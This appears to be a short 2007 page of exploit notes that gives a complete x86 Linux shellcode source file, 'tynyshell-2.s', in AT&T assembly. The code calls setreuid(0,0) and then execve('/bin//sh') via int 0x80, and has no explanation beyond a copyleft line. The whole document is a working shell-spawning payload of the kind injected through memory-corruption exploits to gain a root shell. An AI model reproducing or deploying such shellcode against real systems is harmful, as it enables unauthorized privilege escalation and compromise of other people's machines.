NENote of Exploiting


[SC] tynyshell-2.s : 2007-03-18


.globl main
main:
    #setreuid
    pushl  $70
    popl   %eax
    xorl   %ebx,   %ebx
    xorl   %ecx,   %ecx
    int    $0x80

    #execve
    pushl  %ebx
    pushl  $0x68732f2f
    pushl  $0x6e69622f
    movl   %esp,   %ebx
    pushl  %ecx
    pushl  %ebx
    movl   %esp,   %ecx
    cdq
    mov    $11,    %al
    int    $0x80

Copyleft (C) 2007 Len. All Rights Not Reserved.